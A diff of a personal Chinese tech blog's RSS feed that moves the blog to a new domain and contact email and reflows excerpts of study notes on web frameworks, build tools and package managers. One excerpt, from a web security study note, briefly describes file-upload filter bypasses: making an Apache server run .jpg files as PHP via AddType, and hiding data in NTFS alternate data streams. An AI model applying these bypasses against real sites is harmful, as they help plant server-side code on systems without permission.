       <pubDate>Sun, 05 Jun 2022 21:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/152/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/152/</guid>
       <description>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
@@ -384,10 +384,10 @@ yarn start
     
     <item>
       <title>简单使用Scoop包管理器</title>
-      <link>https://xiaochenabc123.github.io/posts/150/</link>
+      <link>https://chenjunlinabc.github.io/posts/150/</link>
       <pubDate>Fri, 20 May 2022 22:10:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/150/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/150/</guid>
       <description>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
@@ -428,36 +428,36 @@ scoop update *</description>
     
     <item>
       <title>简单使用Corepack-包管理器的管理器</title>
-      <link>https://xiaochenabc123.github.io/posts/149/</link>
+      <link>https://chenjunlinabc.github.io/posts/149/</link>
       <pubDate>Fri, 13 May 2022 00:09:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/149/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/149/</guid>
       <description>Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
启用corepack
-corepack enable
限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-&amp;quot;packageManager&amp;quot;: &amp;quot;yarn@1.22.19&amp;quot;
表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+&amp;quot;packageManager&amp;quot;: &amp;quot;yarn@1.22.19&amp;quot; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
或者获取完成后立刻使用
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
 corepack hydrate D:/demo/test.tgz --activate </description>
     </item>
     
     <item>
       <title>编译原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/148/</link>
+      <link>https://chenjunlinabc.github.io/posts/148/</link>
       <pubDate>Sun, 08 May 2022 03:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/148/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/148/</guid>
       <description>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
@@ -495,51 +495,51 @@ let: Keyword a: Variable =: Operator 1: Integer
     
     <item>
       <title>vuejs底层原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/147/</link>
+      <link>https://chenjunlinabc.github.io/posts/147/</link>
       <pubDate>Tue, 26 Apr 2022 20:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/147/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/147/</guid>
       <description>组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from &#39;vue&#39;
import App from &#39;./app&#39;
const app = createApp(App)
app.mount(&#39;#app&#39;)
通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from &#39;vue&#39; import App from &#39;./app&#39; const app = createApp(App) app.mount(&#39;#app&#39;) 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
 ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</description>
     </item>
     
     <item>
       <title>链接</title>
-      <link>https://xiaochenabc123.github.io/links/</link>
+      <link>https://chenjunlinabc.github.io/links/</link>
       <pubDate>Tue, 19 Apr 2022 21:11:29 +0800</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/links/</guid>
+      <guid>https://chenjunlinabc.github.io/links/</guid>
       <description>保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记</description>
     </item>
     
     <item>
       <title>分类</title>
-      <link>https://xiaochenabc123.github.io/categories/</link>
+      <link>https://chenjunlinabc.github.io/categories/</link>
       <pubDate>Tue, 19 Apr 2022 21:00:55 +0800</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/categories/</guid>
+      <guid>https://chenjunlinabc.github.io/categories/</guid>
       <description></description>
     </item>
     
     <item>
       <title>标签</title>
-      <link>https://xiaochenabc123.github.io/tags/</link>
+      <link>https://chenjunlinabc.github.io/tags/</link>
       <pubDate>Tue, 19 Apr 2022 21:00:05 +0800</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/</guid>
       <description></description>
     </item>
     
     <item>
       <title>简单使用Pm2---node进程管理工具</title>
-      <link>https://xiaochenabc123.github.io/posts/pm2/</link>
+      <link>https://chenjunlinabc.github.io/posts/pm2/</link>
       <pubDate>Tue, 19 Apr 2022 20:39:27 +0800</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/pm2/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/pm2/</guid>
       <description>安装pm2
 npm install pm2 -g
 执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程
@@ -570,17 +570,17 @@ pm2 flush</description>
     
     <item>
       <title>关于</title>
-      <link>https://xiaochenabc123.github.io/about/</link>
+      <link>https://chenjunlinabc.github.io/about/</link>
       <pubDate>Sun, 17 Apr 2022 22:50:06 +0800</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/about/</guid>
+      <guid>https://chenjunlinabc.github.io/about/</guid>
       <description>关于本站
 这是本人的个人博客，分享一些本人学习过程中写的笔记
 如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改
 本站未注明转载的文章均为原创，转载请标明来源
 本站点基于hugo构建
 免责声明
-本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：xiaochenabc123@qq.com），将会在第一时间为您做相关处理
+本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：chenjunlinabc123@foxmail.com），将会在第一时间为您做相关处理
 自述：
 2002年出生，星座：摩羯座
 偏好语言：JavaScript(TypeScript)，Golang，Python，Rust
@@ -590,8 +590,8 @@ APP&amp;amp;小程序：Flutter，Taro
 看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师
 目前在看小说：完美世界
 联系方式：
-邮箱：xiaochenabc123@qq.com
-GitHub：https://github.com/xiaochenabc123
+邮箱：chenjunlinabc123@foxmail.com
+GitHub：https://github.com/chenjunlinabc
 书籍：
 GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理</description>
     </item>
@@ -599,10 +599,10 @@ GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程
     
     <item>
       <title>web安全学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/145/</link>
+      <link>https://chenjunlinabc.github.io/posts/145/</link>
       <pubDate>Wed, 13 Apr 2022 13:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/145/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/145/</guid>
       <description>常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
@@ -637,15 +637,15 @@ AddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word &amp;gt; hallo.txt:a.txt
echo hallo &amp;gt; hallo.</description>
+echo hallo,word &amp;gt; hallo.txt:a.txt echo hallo &amp;gt; hallo.</description>
     </item>
     
     <item>
       <title>简单了解a11y无障碍</title>
-      <link>https://xiaochenabc123.github.io/posts/144/</link>
+      <link>https://chenjunlinabc.github.io/posts/144/</link>
       <pubDate>Sat, 09 Apr 2022 13:01:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/144/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/144/</guid>
       <description>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
@@ -663,10 +663,10 @@ mdn对于障碍人士可访问性优化提供了建议：
     
     <item>
       <title>Rust学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/142/</link>
+      <link>https://chenjunlinabc.github.io/posts/142/</link>
       <pubDate>Mon, 28 Mar 2022 13:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/142/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/142/</guid>
       <description>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
@@ -692,15 +692,15 @@ cargo new halloword
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
name = &amp;quot;hallo_word&amp;quot;
version = &amp;quot;0.0.1&amp;quot;
edition = &amp;quot;2021&amp;quot;
[dependencies]
hyper = &amp;quot;0.14.20&amp;quot; # 来自https://crates.io/
# hyper = { git = &amp;quot;https://github.com/hyperium/hyper&amp;quot; } # 来自第三方社区
# hyper = { path = &amp;quot;.</description>
+[package] name = &amp;quot;hallo_word&amp;quot; version = &amp;quot;0.0.1&amp;quot; edition = &amp;quot;2021&amp;quot; [dependencies] hyper = &amp;quot;0.14.20&amp;quot; # 来自https://crates.io/ # hyper = { git = &amp;quot;https://github.com/hyperium/hyper&amp;quot; } # 来自第三方社区 # hyper = { path = &amp;quot;.</description>
     </item>
     
     <item>
       <title>Flutter框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/141/</link>
+      <link>https://chenjunlinabc.github.io/posts/141/</link>
       <pubDate>Tue, 22 Mar 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/141/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/141/</guid>
       <description>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
@@ -736,15 +736,15 @@ flutter项目下的lib/main.dart，class MyApp类下
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() =&amp;gt; runApp(MyApp());
class MyApp extends StatelessWidget{
@override
Widget build(BuildContext context){
return MaterialApp(
title: &amp;quot;hallo word&amp;quot;, // app的title
theme: ThemeData(
primarySwatch: Colors.</description>
+void main() =&amp;gt; runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: &amp;quot;hallo word&amp;quot;, // app的title theme: ThemeData( primarySwatch: Colors.</description>
     </item>
     
     <item>
       <title>browserslist的简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/140/</link>
+      <link>https://chenjunlinabc.github.io/posts/140/</link>
       <pubDate>Sat, 12 Mar 2022 10:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/140/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/140/</guid>
       <description>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
@@ -759,17 +759,17 @@ not dead的意思是不输出官方不再维护的浏览器（例如ie10），de
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2%&#39;,
&#39;last 1 Chrome versions&#39;
&#39;not dead&#39;
]
或者写成
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;,
]
.browserslistrc
-&amp;gt; 0.2% and last 1 Chrome versions and not dead
browserslist数据的优先级：当前项目的package.</description>
+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2%&#39;, &#39;last 1 Chrome versions&#39; &#39;not dead&#39; ] 或者写成
+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;, ] .browserslistrc
+&amp;gt; 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package.</description>
     </item>
     
     <item>
       <title>简单使用Express-Web应用框架</title>
-      <link>https://xiaochenabc123.github.io/posts/138/</link>
+      <link>https://chenjunlinabc.github.io/posts/138/</link>
       <pubDate>Mon, 28 Feb 2022 18:04:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/138/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/138/</guid>
       <description>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express &amp;ndash;save
@@ -783,7 +783,7 @@ npm install
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require(&amp;quot;express&amp;quot;)
const app = express()
app.get(&#39;/&#39;,function(req,res){ res.end(&amp;quot;hallo world!&amp;quot;)
})
app.listen(3000)
运行
+const express = require(&amp;quot;express&amp;quot;) const app = express() app.get(&#39;/&#39;,function(req,res){ res.end(&amp;quot;hallo world!&amp;quot;) }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -794,15 +794,15 @@ app.use(&amp;rsquo;/src&amp;rsquo;,express.static(&amp;lsquo;src&amp;rsquo;))
 app.use(require(&amp;lsquo;cors&amp;rsquo;)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require(&#39;mongoose&#39;)
mongoose.connect(&#39;mongodb://localhost:27014/test&#39;,{useNewUrlParser: true})
const testdb = mongoose.model(&#39;testdb&#39;,new mongoose.Schema({
_id: Number,
title: String
}))
/*testdb.inserMany([
{_id: 1, title: &amp;quot;abc&amp;quot;},
{_id: 2, title: &amp;quot;xyz&amp;quot;}
{_id: 3, title: &amp;quot;abcxyz&amp;quot;}
])*/
app.</description>
+const mongoose = require(&#39;mongoose&#39;) mongoose.connect(&#39;mongodb://localhost:27014/test&#39;,{useNewUrlParser: true}) const testdb = mongoose.model(&#39;testdb&#39;,new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: &amp;quot;abc&amp;quot;}, {_id: 2, title: &amp;quot;xyz&amp;quot;} {_id: 3, title: &amp;quot;abcxyz&amp;quot;} ])*/ app.</description>
     </item>
     
     <item>
       <title>简单使用Hugo搭建网站</title>
-      <link>https://xiaochenabc123.github.io/posts/137/</link>
+      <link>https://chenjunlinabc.github.io/posts/137/</link>
       <pubDate>Tue, 22 Feb 2022 05:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/137/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/137/</guid>
       <description>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
@@ -833,10 +833,10 @@ hugo &amp;ndash;baseUrl=&amp;ldquo;http://chenjunlinabc.github.io/&amp;quot;
     
     <item>
       <title>简单了解RESTful设计规范</title>
-      <link>https://xiaochenabc123.github.io/posts/136/</link>
+      <link>https://chenjunlinabc.github.io/posts/136/</link>
       <pubDate>Wed, 16 Feb 2022 21:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/136/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/136/</guid>
       <description>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
@@ -858,21 +858,21 @@ HTTP请求方式（不同的操作使用不同的请求方式，例如获取资
     
     <item>
       <title>Gin框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/135/</link>
+      <link>https://chenjunlinabc.github.io/posts/135/</link>
       <pubDate>Tue, 15 Feb 2022 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/135/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/135/</guid>
       <description>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
import &amp;quot;github.com/gin-gonic/gin&amp;quot;
import &amp;quot;net/http&amp;quot;
func main() {
g := gin.Default()
g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) {
c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;)
})
g.Run()
}
go run main.go
+package main import &amp;quot;github.com/gin-gonic/gin&amp;quot; import &amp;quot;net/http&amp;quot; func main() { g := gin.Default() g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) { c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;) }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(&amp;quot;:2333&amp;quot;)
 路由
-r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) {
name := c.Param(&amp;quot;name&amp;quot;)
c.String(http.StatusOK, name)
})
g.Run(&amp;quot;:6666&amp;quot;)
127.0.0.1:6666/test/xiaochen
+r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) { name := c.Param(&amp;quot;name&amp;quot;) c.String(http.StatusOK, name) }) g.Run(&amp;quot;:6666&amp;quot;) 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) {
name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;)
c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name))
})
r.Run()
127.0.0.1:6666/test
+r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) { name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;) c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
@@ -881,10 +881,10 @@ index.html main.go</description>
     
     <item>
       <title>beego应用框架的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/134/</link>
+      <link>https://chenjunlinabc.github.io/posts/134/</link>
       <pubDate>Sat, 12 Feb 2022 16:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/134/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/134/</guid>
       <description>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
@@ -909,22 +909,22 @@ bee generate
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString(&amp;quot;name&amp;quot;)
c.Data[&amp;quot;Website&amp;quot;] = name
访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString(&amp;quot;name&amp;quot;) c.Data[&amp;quot;Website&amp;quot;] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = &amp;ldquo;index.tpl&amp;rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt;
Official website:
&amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; /
Contact me:
&amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
+&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt; Official website: &amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; / Contact me: &amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
     </item>
     
     <item>
       <title>简单使用ESbuild打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/132/</link>
+      <link>https://chenjunlinabc.github.io/posts/132/</link>
       <pubDate>Mon, 07 Feb 2022 13:37:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/132/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/132/</guid>
       <description>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
@@ -942,17 +942,17 @@ npm run build
 或者
 yarn build
 例子（app.jsx）
-import React from &#39;react&#39;
import ReactDOM from &#39;react-dom&#39;
const App = () =&amp;gt; {
return (
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt;
&amp;lt;/div&amp;gt;
)
}
ReactDOM.render(
&amp;lt;App /&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
)
index.html
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
我本地打包只花64ms就打包好了
+import React from &#39;react&#39; import ReactDOM from &#39;react-dom&#39; const App = () =&amp;gt; { return ( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt; &amp;lt;/div&amp;gt; ) } ReactDOM.render( &amp;lt;App /&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ) index.html
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt; 我本地打包只花64ms就打包好了
 使用source map功能</description>
     </item>
     
     <item>
       <title>简单使用GitHub Actions来实现CI/CD</title>
-      <link>https://xiaochenabc123.github.io/posts/131/</link>
+      <link>https://chenjunlinabc.github.io/posts/131/</link>
       <pubDate>Tue, 01 Feb 2022 18:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/131/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/131/</guid>
       <description>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
@@ -964,36 +964,36 @@ on：指定触发workflow的条件，一般为事件触发（比如说push）
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
on: [push]
jobs:
Explore-GitHub-Actions:
runs-on: ubuntu-latest
steps:
- run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot;
- run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot; - run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
     </item>
     
     <item>
       <title>简单使用TailwindCSS</title>
-      <link>https://xiaochenabc123.github.io/posts/130/</link>
+      <link>https://chenjunlinabc.github.io/posts/130/</link>
       <pubDate>Thu, 27 Jan 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/130/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/130/</guid>
       <description>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
&#39;./src/**/*.{html,js}&#39;
],
如果没有配置content属性，会警告
+content: [ &#39;./src/**/*.{html,js}&#39; ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
@tailwind components;
@tailwind utilities;
如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import &amp;quot;tailwindcss/base&amp;quot;;
@import &amp;quot;tailwindcss/components&amp;quot;;
@import &amp;quot;tailwindcss/utilities&amp;quot;;
也可以将css导入到js中
-import &amp;quot;tailwindcss/tailwind.css&amp;quot;
tailwind编译
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import &amp;quot;tailwindcss/base&amp;quot;; @import &amp;quot;tailwindcss/components&amp;quot;; @import &amp;quot;tailwindcss/utilities&amp;quot;; 也可以将css导入到js中
+import &amp;quot;tailwindcss/tailwind.css&amp;quot; tailwind编译
 npx tailwindcss -i ./src/index.css -o ./dist/main.css</description>
     </item>
     
